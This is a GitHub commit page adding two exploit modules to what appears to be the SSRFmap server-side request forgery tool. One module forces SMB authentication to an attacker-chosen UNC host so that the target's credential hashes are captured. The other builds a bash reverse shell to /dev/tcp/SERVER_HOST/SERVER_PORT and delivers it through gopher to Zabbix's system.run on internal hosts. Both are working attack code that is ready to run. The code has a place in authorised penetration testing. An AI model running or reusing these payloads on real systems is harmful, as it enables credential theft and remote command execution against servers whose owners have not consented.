Skip to content

Commit 2a36745

Browse files
authored
Add files via upload
1 parent 1bd8d5c commit 2a36745

2 files changed

Lines changed: 77 additions & 0 deletions

File tree

modules/smbhash.py

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
from utils.utils import *
2+
import logging
3+
4+
# NOTE
5+
# Use auxiliary/server/capture/smb from Metasploit to setup a listener
6+
7+
name = "smbhash"
8+
description = "Force an SMB authentication attempt by embedding a UNC path (\\SERVER\SHARE) "
9+
author = "Swissky"
10+
documentation = []
11+
12+
class exploit():
13+
UNC_EXAMPLE = "\\\\192.168.1.2\\SSRFmap"
14+
UNC_IP = "192.168.1.2"
15+
UNC_FILE = "SSRFmap"
16+
17+
def __init__(self, requester, args):
18+
logging.info(f"Module '{name}' launched !")
19+
20+
UNC_IP = input("UNC IP (default: 192.168.1.2): ")
21+
if UNC_IP != '':
22+
self.UNC_IP = UNC_IP
23+
24+
UNC_FILE = input("UNC File (default: SSRFmap): ")
25+
if UNC_FILE != '':
26+
self.UNC_FILE = UNC_FILE
27+
28+
payload = wrapper_unc(self.UNC_FILE, self.UNC_IP)
29+
r = requester.do_request(args.param, payload)
30+
logging.info(f"\033[32mSending UNC Path\033[0m : {payload}")

modules/zabbix.py

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
from utils.utils import *
2+
import logging
3+
import urllib.parse as urllib
4+
5+
# NOTE
6+
# Require `EnableRemoteCommands = 1` on the Zabbix service
7+
8+
name = "zabbix"
9+
description = "Zabbix RCE"
10+
author = "errorfiathck"
11+
documentation = []
12+
13+
class exploit():
14+
cmd = "bash -i >& /dev/tcp/SERVER_HOST/SERVER_PORT 0>&1"
15+
16+
def __init__(self, requester, args):
17+
logging.info(f"Module '{name}' launched !")
18+
19+
cmd = input("Give command to execute (Enter for Reverse Shell): ")
20+
if cmd == "":
21+
if args.lhost == None:
22+
self.cmd = self.cmd.replace("SERVER_HOST", input("Server Host:"))
23+
else:
24+
self.cmd = self.cmd.replace("SERVER_HOST", args.lhost)
25+
26+
if args.lport == None:
27+
self.cmd = self.cmd.replace("SERVER_PORT", input("Server Port:"))
28+
else:
29+
self.cmd = self.cmd.replace("SERVER_PORT", args.lport)
30+
else:
31+
self.cmd = cmd
32+
33+
# Data for the service
34+
gen_host = gen_ip_list("127.0.0.1", args.level)
35+
for ip in gen_host:
36+
port = "10050"
37+
self.cmd = urllib.quote_plus(self.cmd).replace("+","%20")
38+
self.cmd = self.cmd.replace("%2F","/")
39+
self.cmd = self.cmd.replace("%25","%")
40+
self.cmd = self.cmd.replace("%3A",":")
41+
data = "system.run[(" + self.cmd + ");sleep 2s]"
42+
43+
payload = wrapper_gopher(data, ip , port)
44+
logging.info(f"Generated payload : {payload}")
45+
46+
# Send the payload
47+
r = requester.do_request(args.param, payload)

0 commit comments

Comments
 (0)